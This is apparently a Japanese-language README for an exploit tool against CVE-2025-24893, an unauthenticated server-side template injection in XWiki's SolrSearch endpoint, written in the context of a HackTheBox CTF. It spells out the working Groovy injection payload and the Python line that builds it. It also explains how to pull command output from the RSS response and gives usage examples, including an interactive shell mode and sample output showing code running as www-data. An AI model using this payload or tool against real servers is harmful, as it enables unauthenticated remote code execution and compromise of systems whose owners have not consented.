
CVE-2025-24893 – XWiki SSTI 未認証RCEエクスプロイト (HackTheBox CTF)
| フィールド | 詳細 |
|---|---|
| CVE | CVE-2025-24893 |
| ソフトウェア | XWiki |
| 脆弱性 | サーバーサイドテンプレートインジェクション (SSTI) → RCE |
| 認証 | 不要 |
| CVSS スコア | 緊急 |
| 背景 | HackTheBox CTF 中に発見 |
XWiki は、ユーザーが指定した入力をサニタイズせずに Groovy テンプレートエンジンでレンダリングする SolrSearch エンドポイント (/xwiki/bin/get/Main/SolrSearch) を公開しています。認証されていない攻撃者は、text クエリパラメータを介して Groovy 式を注入し、基盤となるサーバー上でリモートコード実行を達成できます。
GET /xwiki/bin/get/Main/SolrSearch?media=rss&text=<PAYLOAD>
text パラメータは XWiki のマクロコンテキストに直接埋め込まれ、Groovy エンジンによって評価されます。インジェクションは }}} を使用してテンプレートコンテキストをエスケープし、{{async}}{{groovy}} ブロックを開きます:
}}}{{async async=false}}{{groovy}}println("<CMD>".execute().text){{/groovy}}{{/async}}
出力は RSS レスポンスボディに反映され、正規表現で抽出できます。
payload = '}}}{{async async=false}}{{groovy}}println("' + command + '".execute().text){{/groovy}}{{/async}}'
レスポンスは XML/RSS であり、コマンドの出力は [}}} と ]</ のマーカーの間に HTML エンコードされた文字として現れます。
python3 exploit.py -t <TARGET> [-p PORT] [-s] [-i | -c COMMAND]
# Single command
python3 exploit.py -t wiki.target.htb -c "id"
# Interactive shell
python3 exploit.py -t wiki.target.htb -i
# HTTPS on custom port
python3 exploit.py -t wiki.target.htb -p 443 -s -i
pip install requests termcolor
$ python3 exploit.py -t wiki.editor.htb -c "id"
[*] Executing command: id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
| フラグ | 説明 |
|---|
-t | 対象のホスト名または IP |
-p | ポート (デフォルト: 80) |
-s | HTTPS を使用 |
-i | 対話型シェルモード |
-c | 単一コマンドの実行 |
-v | 詳細な出力 |